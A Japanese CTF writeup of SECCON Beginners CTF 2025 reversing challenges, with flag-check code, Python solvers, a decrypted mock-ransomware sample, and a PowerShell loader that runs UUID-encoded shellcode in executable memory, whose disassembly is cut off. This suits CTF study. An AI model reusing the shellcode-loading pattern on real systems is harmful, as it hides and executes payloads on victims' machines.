1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2025 Writeup (reversing, pwnable)

1
Last updated at Posted at 2025-08-01

はじめに

チーム team_vscs で参加させていただきました。解けた問題の Writeup を書きます。

開催概要

  1. 言語: 日本語
  2. 形式: Jeopardy(オンライン)
  3. 開催日時: 2025/7/26 (土) 14:00 JST ~ 2025/7/27 (日) 14:00 JST

使用環境

  • Windows11 24H2 (ホスト)
  • VirtualBox 7.0
  • Ghidra 11.2.1
  • x64dbg snapshot_2025-07-04_16-03
  • Ubuntu 22.04.5 LTS (ゲスト)
  • Python 3.10.12 + pwntools 4.14.1
  • gdb 12.1 + pwndbg 2025.04.18

感想

SECCON Beginners CTF 初参戦でしたので、過去5年分のreversing、pwnable問題+AlpacaHackを勉強してから臨みました。
当日は集中したかったので、精神と時の部屋(別名:漫喫ブース席)で徹夜しましたが、それでも時間が足りずラスボス(カーネル問)まで辿り着けませんでした。もっと早く解けるように精進いたします。

目次

reversing

CrazyLazyProgram1

出題

改行が面倒だったのでワンライナーにしてみました。
提供ファイル: CLP1.cs
CLP1.cs
using System;class Program {static void Main() {int len=0x23;Console.Write("INPUT > ");string flag=Console.ReadLine();if((flag.Length)!=len){Console.WriteLine("WRONG!");}else{if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d){Console.WriteLine("YES!!!\nThis is Flag :)");}else{Console.WriteLine("WRONG!");}}}}

解法

flag配列の内容をアスキーコード16進表記で比較しているだけです。比較の順番も配列添え字順に並んでいるので、0x??となっている部分を抜き出してアスキー文字に変換するだけです。

$ grep -o '0x[0-9a-fA-F]\{2\}' CLP1.cs | sed 's/0x//' | xxd -r -p
#ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}

CrazyLazyProgram2

出題

コーディングが面倒だったので機械語で作ってみました

提供ファイル: CLP2.o

解法

CLP2.oはただのオブジェクトファイルなので、そのままでは実行できません。

naoki@ubuntu-2204:~/SECCON_Beginners_CTF_2025/CrazyLazyProgram2$ file CLP2.o
CLP2.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

CLP2.oをGhidraで読み込んで、逆アセンブルします。
image.png

これもCrazyLazyProgram1と同様に、添え字順に文字比較を行っているだけです。比較式の文字だけを抜き出せがフラグになります。

ちなみに、main関数はCLP2.oに含まれているので、スタートアップルーチンなどをリンクしてあげると、普通に実行できるようになります。

$ nm CLP2.o
                 U __isoc99_scanf
0000000000000000 T main
                 U printf
                 U puts
$ gcc CLP2.o
$ ls
CLP2.o  a.out
$ file a.out
a.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aaaef394c1ef34ec5be1a5b1a2bf3019acb312cb, for GNU/Linux 3.2.0, not stripped
$ ./a.out
Enter the flag: ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
Flag is correct!

ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}

D-compile

出題

C言語の次はこれ!
This is the next trending programming language!

※一部環境ではlibgphobos5が必要となります。 また必要に応じてecho -nをご利用ください。
Note:In some environments, libgphobos5 is required. Also, use the echo -n command as necessary.

提供ファイル: d-compile

解法

d-compileをGhidraで読み込んで、逆アセンブルします。
image.png

_D4core8internal5array8equality__T8__equalsTaTaZQoFNaNbNiNeMxAaMxQeZb()関数の第2引数と第4引数にそれぞれユーザ入力とpuVar2を渡しています。

image.png

関数の中では、第2引数と第4引数をmemcmpで比較しているので、第4引数(puVar2)がフラグになります。puVar2の内容をリトルエンディアンとして、アスキー文字に変換するソルバーを書きます。

solver.py
hex_values = [
    0x334E7B6234667463,
    0x646E3372545F7478,
    0x75396E61315F445F,
    0x7D3130315F336761,
]

result = ""
for val in hex_values:
    bytes_le = val.to_bytes(8, byteorder="little")
    result += bytes_le.decode("ascii")

print(result)
実行結果
$ python3 solver.py
ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

手元のUbuntu環境には libgphobos.so.5 がなかったので、適当なサイトから取ってきて使いました。

$ ls
d-compile  libgphobos-14.2.1-3.fc41.x86_64.rpm  libgphobos.so.5  solver.py  usr
$ LD_LIBRARY_PATH=. ldd ./d-compile
        linux-vdso.so.1 (0x00007ffd743b6000)
        libgphobos.so.5 => ./libgphobos.so.5 (0x00007f3a94f74000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f3a94f49000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a94d20000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f3a94c39000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f3a95857000)
$ echo -n 'ctf4b{N3xt_Tr3nd_D_1an9uag3_101}' | LD_LIBRARY_PATH=. ./d-compile
input flag>
way to go! this is the flag :)

ctf4b{N3xt_Tr3nd_D_1an9uag3_101}

wasm_S_exp

出題

フラグをチェックしてくれるプログラム
提供ファイル: check_flag.wat
check_flag.wat
(module
  (memory (export "memory") 1 )
  (func (export "check_flag") (result i32)
    i32.const 0x7b
    i32.const 38
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x67
    i32.const 20
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 46
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x21
    i32.const 3
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 18
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6e
    i32.const 119
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 51
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x79
    i32.const 59
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 9
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x57
    i32.const 4
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x35
    i32.const 37
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x33
    i32.const 12
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x62
    i32.const 111
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x63
    i32.const 45
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x7d
    i32.const 97
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x30
    i32.const 54
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x74
    i32.const 112
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x31
    i32.const 106
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x66
    i32.const 43
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 17
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x34
    i32.const 98
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x54
    i32.const 120
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x5f
    i32.const 25
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x6c
    i32.const 127
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 0x41
    i32.const 26
    call $stir
    i32.load8_u
    i32.ne
    if
      i32.const 0
      return
    end

    i32.const 1
    return
  )

  (func $stir (param $x i32) (result i32)
    i32.const 1024
    i32.const 23
    i32.const 37
    local.get $x
    i32.const 0x5a5a
    i32.xor
    i32.mul
    i32.add
    i32.const 101
    i32.rem_u
    i32.add
    return
  )
)

解法

check_flag.wat は WebAssembly Text Format (WAT) ファイルのようです。
内容を見ると、以下のような文字(16進表記)と数字のセットを入力として、$stir関数に渡しているようです。

入力データ(一例)
    i32.const 0x7b
    i32.const 38
    call $stir
$stir関数
  (func $stir (param $x i32) (result i32)
    i32.const 1024
    i32.const 23
    i32.const 37
    local.get $x
    i32.const 0x5a5a
    i32.xor
    i32.mul
    i32.add
    i32.const 101
    i32.rem_u
    i32.add
    return
  )

\$stir関数は入力された数値を元に、その文字がフラグの何番目なのかを返すようです。
WebAssemblyはスタックマシンなので、$stir関数の処理をpythonで書くと以下のようになります。

$stir関数(Python版)
def stir(x):
    return 1024 + ((23 + 37 * (x ^ 0x5A5A)) % 101)

この関数に入力を渡すソルバーを書きます。

solver.py
input = [
    (0x7B, 38),  (0x67, 20), (0x5F, 46), (0x21, 3),  (0x63, 18),  (0x6E, 119), (0x5F, 51), (0x79, 59),
    (0x34, 9),   (0x57, 4),  (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45),  (0x7D, 97), (0x30, 54), 
    (0x74, 112),(0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98),  (0x54, 120), (0x5F, 25), (0x6C, 127), (0x41, 26),] # fmt: skip


def stir(x):
    return 1024 + ((23 + 37 * (x ^ 0x5A5A)) % 101)


memory = bytearray(10000)
for c, i in input:
    memory[stir(i)] = c

print(memory.decode())
実行結果
$ python3 solver.py
ctf4b{WAT_4n_345y_l0g1c!}

ctf4b{WAT_4n_345y_l0g1c!}

MAFC

出題

flagが欲しいかい?ならこのマルウェアを解析してみな。
Wanna get flag? if so, Reversing this Malware if you can

提供ファイル: MalwareAnalysis-FirstChallenge.exe
提供ファイル: flag.encrypted

解法

MalwareAnalysis-FirstChallenge.exeを実行すると、同フォルダのflag.txtを読み取り、flag.encryptedが生成されます。元のflag.txtは削除されます。

実行例
C:\Users\user\Desktop\MAFC>dir

2025/07/31  20:50    <DIR>          .
2025/07/31  20:50    <DIR>          ..
2025/07/31  20:50                 6 flag.txt
2025/07/31  20:49            15,872 MalwareAnalysis-FirstChallenge.exe

C:\Users\user\Desktop\MAFC>MalwareAnalysis-FirstChallenge.exe

C:\Users\user\Desktop\MAFC>dir

2025/07/31  20:50    <DIR>          .
2025/07/31  20:50    <DIR>          ..
2025/07/31  20:50                64 flag.encrypted
2025/07/31  20:49            15,872 MalwareAnalysis-FirstChallenge.exe

C:\Users\user\Desktop\MAFC>

Ghidraで読み込んで、逆コンパイルします。関数がたくさんあるのですが、メインの処理はFUN_1400011a0()にありそうです。

FUN_1400011a0()

void FUN_1400011a0(void)

{
  uint uVar1;
  code *pcVar2;
  longlong lVar3;
  BOOL BVar4;
  DWORD nNumberOfBytesToRead;
  HANDLE hFile;
  HANDLE hFile_00;
  void *pvVar5;
  longlong lVar6;
  BYTE *pbData;
  BYTE *_Memory;
  ulonglong _Size;
  longlong lVar7;
  BYTE *pBVar8;
  undefined auStackY_b8 [32];
  HCRYPTKEY local_78;
  HCRYPTPROV local_70;
  BYTE local_68 [8];
  DWORD local_60;
  DWORD local_5c;
  HCRYPTHASH local_58;
  BYTE local_50 [24];
  ulonglong local_38;
  
  local_38 = DAT_140005000 ^ (ulonglong)auStackY_b8;
  pbData = (BYTE *)0x0;
  hFile = CreateFileA("flag.txt",0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
  if (hFile == (HANDLE)0xffffffffffffffff) {
    puts("Failed to handle flag.txt\n");
  }
  else {
    hFile_00 = CreateFileA("flag.encrypted",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                           (HANDLE)0x0);
    if (hFile_00 == (HANDLE)0xffffffffffffffff) {
      puts("Failed to handle flag.encrypted\n");
      goto LAB_140001637;
    }
    BVar4 = CryptAcquireContextW
                      (&local_70,(LPCWSTR)0x0,
                       L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,0);
    if ((BVar4 == 0) &&
       (BVar4 = CryptAcquireContextW
                          (&local_70,(LPCWSTR)0x0,
                           L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,8),
       BVar4 == 0)) {
      puts("CryptAcquireContext() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58);
    if (BVar4 == 0) {
      puts("CryptCreateHash() Error\n");
      goto LAB_140001637;
    }
    builtin_memcpy(local_50 + 0x10,"Key",4);
    builtin_memcpy(local_50,"ThisIsTheEncrypt",0x10);
    lVar6 = -1;
    do {
      lVar7 = lVar6 + 1;
      lVar3 = lVar6 + 1;
      lVar6 = lVar7;
    } while (local_50[lVar3] != '\0');
    BVar4 = CryptHashData(local_58,local_50,(DWORD)lVar7,0);
    if (BVar4 == 0) {
      puts("CryptHashData() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78);
    if (BVar4 == 0) {
      puts("CryptDeriveKey() Error\n");
      goto LAB_140001637;
    }
    local_68[0] = '\x01';
    local_68[1] = '\0';
    local_68[2] = '\0';
    local_68[3] = '\0';
    BVar4 = CryptSetKeyParam(local_78,3,local_68,0);
    if (BVar4 == 0) {
      puts("CryptSeKeyParam() Error\n");
      goto LAB_140001637;
    }
    BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0);
    if (BVar4 == 0) {
      puts("CryptSeKeyParam() with IV Error\n");
      goto LAB_140001637;
    }
    local_68[4] = '\x01';
    local_68[5] = '\0';
    local_68[6] = '\0';
    local_68[7] = '\0';
    BVar4 = CryptSetKeyParam(local_78,4,local_68 + 4,0);
    if (BVar4 == 0) {
      puts("CryptSetKeyParam() with set MODE Error\n");
      goto LAB_140001637;
    }
    nNumberOfBytesToRead = GetFileSize(hFile,(LPDWORD)0x0);
    uVar1 = nNumberOfBytesToRead + 0x10;
    _Size = (ulonglong)uVar1;
    pBVar8 = pbData;
    if (uVar1 != 0) {
      if (_Size < 0x1000) {
        pbData = (BYTE *)operator_new(_Size);
      }
      else {
        if ((ulonglong)uVar1 + 0x27 <= _Size) {
          FUN_140001100();
          pcVar2 = (code *)swi(3);
          (*pcVar2)();
          return;
        }
        pvVar5 = operator_new((ulonglong)uVar1 + 0x27);
        if (pvVar5 == (void *)0x0) goto LAB_140001653;
        pbData = (BYTE *)((longlong)pvVar5 + 0x27U & 0xffffffffffffffe0);
        *(void **)(pbData + -8) = pvVar5;
      }
      pBVar8 = pbData + _Size;
      memset(pbData,0,_Size);
    }
    local_60 = 0;
    BVar4 = ReadFile(hFile,pbData,nNumberOfBytesToRead,&local_60,(LPOVERLAPPED)0x0);
    if (BVar4 == 0) {
      puts("ReadFile() Error\n");
    }
    else {
      lVar6 = -1;
      do {
        lVar6 = lVar6 + 1;
      } while (pbData[lVar6] != '\0');
      local_5c = (int)lVar6 + 1;
      BVar4 = CryptEncrypt(local_78,0,1,0,pbData,&local_5c,0x40);
      if (BVar4 == 0) {
        puts("CryptEncrypt() Error\n");
      }
      else {
        BVar4 = WriteFile(hFile_00,pbData,0x40,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
        if (BVar4 == 0) {
          puts("WriteFile() error\n");
        }
        else {
          CloseHandle(hFile);
          CloseHandle(hFile_00);
          BVar4 = DeleteFileA("flag.txt");
          if (BVar4 == 0) {
            puts("DeleteFileA() error\n");
          }
          else {
            BVar4 = CryptDestroyKey(local_78);
            if (BVar4 == 0) {
              puts("CryptDestroyKey() error\n");
            }
            else {
              BVar4 = CryptDestroyHash(local_58);
              if (BVar4 == 0) {
                puts("CryptDestroyHash() error\n");
              }
              else {
                BVar4 = CryptReleaseContext(local_70,0);
                if (BVar4 == 0) {
                  puts("CryptReleaseContext() error\n");
                }
              }
            }
          }
        }
      }
    }
    if (pbData != (BYTE *)0x0) {
      _Memory = pbData;
      if ((0xfff < (ulonglong)((longlong)pBVar8 - (longlong)pbData)) &&
         (_Memory = *(BYTE **)(pbData + -8), (BYTE *)0x1f < pbData + (-8 - (longlong)_Memory))) {
LAB_140001653:
                    /* WARNING: Subroutine does not return */
        _invoke_watson((wchar_t *)0x0,(wchar_t *)0x0,(wchar_t *)0x0,0,0);
      }
      free(_Memory);
    }
  }
LAB_140001637:
  FUN_140001680(local_38 ^ (ulonglong)auStackY_b8);
  return;
}

この関数の中で、flag.txtの内容を読み取って、暗号化しています。暗号関連のパラメータを確認していきます。

AES-256

BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78); // 0x6610 = CALG_AES_256

CBCモード

local_68[4] = '\x01'; // 0x00000001はCRYPT_MODE_CBC
local_68[5] = '\0';
local_68[6] = '\0';
local_68[7] = '\0';
BVar4 = CryptSetKeyParam(local_78,4,local_68 + 4,0); // 4 = KP_MODE(暗号モード)

Key ("ThisIsTheEncryptKey"のSHA-256ハッシュ値)

builtin_memcpy(local_50 + 0x10,"Key",4);
builtin_memcpy(local_50,"ThisIsTheEncrypt",0x10);
BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58); // 0x800c = CALG_SHA_256
BVar4 = CryptHashData(local_58,local_50,(DWORD)lVar7,0);
$ echo -n "ThisIsTheEncryptKey" | sha256sum
adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465  -

IV

BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0); // 1 = KP_IV(AESなら16バイト)

"IVCanObfuscation"をそのまま16進表記した495643616E4F62667573636174696F6EをIVとして復号すると、壊れたフラグになってしまいます。

実行結果
$ openssl enc -d -aes-256-cbc -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 495643616E4F62667573636174696F6E
c"sUO4tb,>/Y(1y0u_suc3553d_2_ana1yz3_Ma1war3!!!}

x64dbgにてIVを設定しているCryptSetKeyParam()呼出しの第3引数の内容を確認すると、49 00 56 00 43 00 61 00 6E 00 4F 00 62 00 66 00 ...のように間に0x00が入っています。これはUTF-16LEエンコーディングの場合にこのような内部表現になるようです。AESのIVは16バイトなので、先頭16バイトを使用します。

image.png

実行結果
$ openssl enc -d -aes-256-cbc -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 49005600430061006E004F0062006600
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}

ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}

code_injection

出題

ある条件のときにフラグが表示されるみたい。
提供ファイル: ps_z.ps1
ps_z.ps1
add-type '
using System;
using System.Runtime.InteropServices;

[StructLayout( LayoutKind.Sequential )]
public static class Kernel32{
        [DllImport( "kernel32.dll" )]
        public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect );
        [DllImport( "kernel32.dll" )]
        public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags );
}

public static class Rpcrt4{
        [DllImport( "rpcrt4.dll" )]
        public static extern void UuidFromStringA( string uuid, IntPtr buf );
}';

$workdir = ( Get-Location ).Path;
[System.IO.Directory]::SetCurrentDirectory( $workdir );
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
        $tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
        $buf = [IntPtr]( $buf.ToInt64() + 16 )
}
提供ファイル: sh.txt
sh.txt
56525153-4157-4150-5155-4889e54883e4
ec8348f0-6530-8b48-0425-60000000488b
8b482040-80b0-0000-0083-3e000f84a701
3e810000-0043-0054-7526-817e04460034
811d7500-087e-0042-3d00-7514837e0c31
8b480e75-481e-e3c1-0848-895c2420eb06
02c68348-c3eb-4865-8b04-256000000048
4818408b-408b-4820-8b00-488b7850488b
20b9481f-2000-2000-0020-004809cb48c1
334808e3-245c-4820-8b00-488b78504803
20b9481f-2000-2000-0020-004809cb4889
4820245c-588b-8b20-433c-4801d88bb888
48000000-df01-778b-2048-01de48ba0540
7d454e56-2a08-8948-5424-104831c98b14
da01488e-3a81-6547-7453-7514817a0474
75614864-810b-087a-6e64-6c657502eb05
ebc1ff48-8bd9-2477-4801-de668b0c4e8b
01481c77-8bde-8e04-4801-d848ba5b403a
13404150-4852-5489-2418-b9f5ffffffff
c08949d0-ba48-5908-0314-1059096b4889
778b2414-4820-de01-4831-c98b148e4801
573a81da-6972-7574-1481-7a0465436f6e
7a810b75-7308-6c6f-6575-02eb0548ffc1
778bd9eb-4824-de01-668b-0c4e48ba1f72
13044e56-681c-8948-5424-088b771c4801
8e048bde-0148-48d8-83ec-30488d542430
48c93148-f983-7404-124c-8b4c24504c33
894cca0c-ca0c-ff48-c1eb-e84c89c149c7
000020c0-4d00-c931-48c7-442420000000
48d0ff00-c483-eb30-0048-31c04889ec5d
58415941-5e5f-595a-5bc3-000000000000

解法

UUID でエンコードされたシェルコード(sh.txt 内)をバイナリ形式でメモリにロードして実行するスクリプトです。以下の箇所で、実行権付きメモリ確保、UUIDをバイナリ変換しメモリにロード、実行を行っています。

$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
	$tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
	$buf = [IntPtr]( $buf.ToInt64() + 16 )
}
$tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );

普通に実行すると何も表示されません。

実行例
PS > Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
PS > .\ps_z.ps1

UUIDの内容(sh.txt)をバイナリ(リトルエンディアン)に変換して、内容を確認します。

decode.py
import sys, uuid

for l in sys.stdin:
    sys.stdout.buffer.write(uuid.UUID(l.strip()).bytes_le)
$ cat sh.txt | python3 decode.py > sh.bin
$ objdump -D -b binary -m i386:x86-64 -M intel sh.bin > sh.dump
sh.dump
sh.bin:     file format binary


Disassembly of section .data:

0000000000000000 <.data>:
   0:   53                      push   rbx
   1:   51                      push   rcx
   2:   52                      push   rdx
   3:   56                      push   rsi
   4:   57                      push   rdi
   5:   41 50                   push   r8
   7:   41 51                   push   r9
   9:   55                      push   rbp
   a:   48 89 e5                mov    rbp,rsp
   d:   48 83 e4 f0             and    rsp,0xfffffffffffffff0
  11:   48 83 ec 30             sub    rsp,0x30
  15:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
  1c:   00 00
  1e:   48 8b 40 20             mov    rax,QWORD PTR [rax+0x20]
  22:   48 8b b0 80 00 00 00    mov    rsi,QWORD PTR [rax+0x80]
  29:   83 3e 00                cmp    DWORD PTR [rsi],0x0
  2c:   0f 84 a7 01 00 00       je     0x1d9
  32:   81 3e 43 00 54 00       cmp    DWORD PTR [rsi],0x540043
  38:   75 26                   jne    0x60
  3a:   81 7e 04 46 00 34 00    cmp    DWORD PTR [rsi+0x4],0x340046
  41:   75 1d                   jne    0x60
  43:   81 7e 08 42 00 3d 00    cmp    DWORD PTR [rsi+0x8],0x3d0042
  4a:   75 14                   jne    0x60
  4c:   83 7e 0c 31             cmp    DWORD PTR [rsi+0xc],0x31
  50:   75 0e                   jne    0x60
  52:   48 8b 1e                mov    rbx,QWORD PTR [rsi]
  55:   48 c1 e3 08             shl    rbx,0x8
  59:   48 89 5c 24 20          mov    QWORD PTR [rsp+0x20],rbx
  5e:   eb 06                   jmp    0x66
  60:   48 83 c6 02             add    rsi,0x2
  64:   eb c3                   jmp    0x29
  66:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
  6d:   00 00
  6f:   48 8b 40 18             mov    rax,QWORD PTR [rax+0x18]
  73:   48 8b 40 20             mov    rax,QWORD PTR [rax+0x20]
  77:   48 8b 00                mov    rax,QWORD PTR [rax]
  7a:   48 8b 78 50             mov    rdi,QWORD PTR [rax+0x50]
  7e:   48 8b 1f                mov    rbx,QWORD PTR [rdi]
  81:   48 b9 20 00 20 00 20    movabs rcx,0x20002000200020
  88:   00 20 00
  8b:   48 09 cb                or     rbx,rcx
  8e:   48 c1 e3 08             shl    rbx,0x8
  92:   48 33 5c 24 20          xor    rbx,QWORD PTR [rsp+0x20]
  97:   48 8b 00                mov    rax,QWORD PTR [rax]
  9a:   48 8b 78 50             mov    rdi,QWORD PTR [rax+0x50]
  9e:   48 03 1f                add    rbx,QWORD PTR [rdi]
  a1:   48 b9 20 00 20 00 20    movabs rcx,0x20002000200020
  a8:   00 20 00
  ab:   48 09 cb                or     rbx,rcx
  ae:   48 89 5c 24 20          mov    QWORD PTR [rsp+0x20],rbx
  b3:   48 8b 58 20             mov    rbx,QWORD PTR [rax+0x20]
  b7:   8b 43 3c                mov    eax,DWORD PTR [rbx+0x3c]
  ba:   48 01 d8                add    rax,rbx
  bd:   8b b8 88 00 00 00       mov    edi,DWORD PTR [rax+0x88]
  c3:   48 01 df                add    rdi,rbx
  c6:   8b 77 20                mov    esi,DWORD PTR [rdi+0x20]
  c9:   48 01 de                add    rsi,rbx
  cc:   48 ba 05 40 56 4e 45    movabs rdx,0x2a087d454e564005
  d3:   7d 08 2a
  d6:   48 89 54 24 10          mov    QWORD PTR [rsp+0x10],rdx
  db:   48 31 c9                xor    rcx,rcx
  de:   8b 14 8e                mov    edx,DWORD PTR [rsi+rcx*4]
  e1:   48 01 da                add    rdx,rbx
  e4:   81 3a 47 65 74 53       cmp    DWORD PTR [rdx],0x53746547
  ea:   75 14                   jne    0x100
  ec:   81 7a 04 74 64 48 61    cmp    DWORD PTR [rdx+0x4],0x61486474
  f3:   75 0b                   jne    0x100
  f5:   81 7a 08 6e 64 6c 65    cmp    DWORD PTR [rdx+0x8],0x656c646e
  fc:   75 02                   jne    0x100
  fe:   eb 05                   jmp    0x105
 100:   48 ff c1                inc    rcx
 103:   eb d9                   jmp    0xde
 105:   8b 77 24                mov    esi,DWORD PTR [rdi+0x24]
 108:   48 01 de                add    rsi,rbx
 10b:   66 8b 0c 4e             mov    cx,WORD PTR [rsi+rcx*2]
 10f:   8b 77 1c                mov    esi,DWORD PTR [rdi+0x1c]
 112:   48 01 de                add    rsi,rbx
 115:   8b 04 8e                mov    eax,DWORD PTR [rsi+rcx*4]
 118:   48 01 d8                add    rax,rbx
 11b:   48 ba 5b 40 3a 50 41    movabs rdx,0x52134041503a405b
 122:   40 13 52
 125:   48 89 54 24 18          mov    QWORD PTR [rsp+0x18],rdx
 12a:   b9 f5 ff ff ff          mov    ecx,0xfffffff5
 12f:   ff d0                   call   rax
 131:   49 89 c0                mov    r8,rax
 134:   48 ba 08 59 03 14 10    movabs rdx,0x6b09591014035908
 13b:   59 09 6b
 13e:   48 89 14 24             mov    QWORD PTR [rsp],rdx
 142:   8b 77 20                mov    esi,DWORD PTR [rdi+0x20]
 145:   48 01 de                add    rsi,rbx
 148:   48 31 c9                xor    rcx,rcx
 14b:   8b 14 8e                mov    edx,DWORD PTR [rsi+rcx*4]
 14e:   48 01 da                add    rdx,rbx
 151:   81 3a 57 72 69 74       cmp    DWORD PTR [rdx],0x74697257
 157:   75 14                   jne    0x16d
 159:   81 7a 04 65 43 6f 6e    cmp    DWORD PTR [rdx+0x4],0x6e6f4365
 160:   75 0b                   jne    0x16d
 162:   81 7a 08 73 6f 6c 65    cmp    DWORD PTR [rdx+0x8],0x656c6f73
 169:   75 02                   jne    0x16d
 16b:   eb 05                   jmp    0x172
 16d:   48 ff c1                inc    rcx
 170:   eb d9                   jmp    0x14b
 172:   8b 77 24                mov    esi,DWORD PTR [rdi+0x24]
 175:   48 01 de                add    rsi,rbx
 178:   66 8b 0c 4e             mov    cx,WORD PTR [rsi+rcx*2]
 17c:   48 ba 1f 72 56 4e 04    movabs rdx,0x681c13044e56721f
 183:   13 1c 68
 186:   48 89 54 24 08          mov    QWORD PTR [rsp+0x8],rdx
 18b:   8b 77 1c                mov    esi,DWORD PTR [rdi+0x1c]
 18e:   48 01 de                add    rsi,rbx
 191:   8b 04 8e                mov    eax,DWORD PTR [rsi+rcx*4]
 194:   48 01 d8                add    rax,rbx
 197:   48 83 ec 30             sub    rsp,0x30
 19b:   48 8d 54 24 30          lea    rdx,[rsp+0x30]
 1a0:   48 31 c9                xor    rcx,rcx
 1a3:   48 83 f9 04             cmp    rcx,0x4
 1a7:   74 12                   je     0x1bb
 1a9:   4c 8b 4c 24 50          mov    r9,QWORD PTR [rsp+0x50]
 1ae:   4c 33 0c ca             xor    r9,QWORD PTR [rdx+rcx*8]
 1b2:   4c 89 0c ca             mov    QWORD PTR [rdx+rcx*8],r9
 1b6:   48 ff c1                inc    rcx
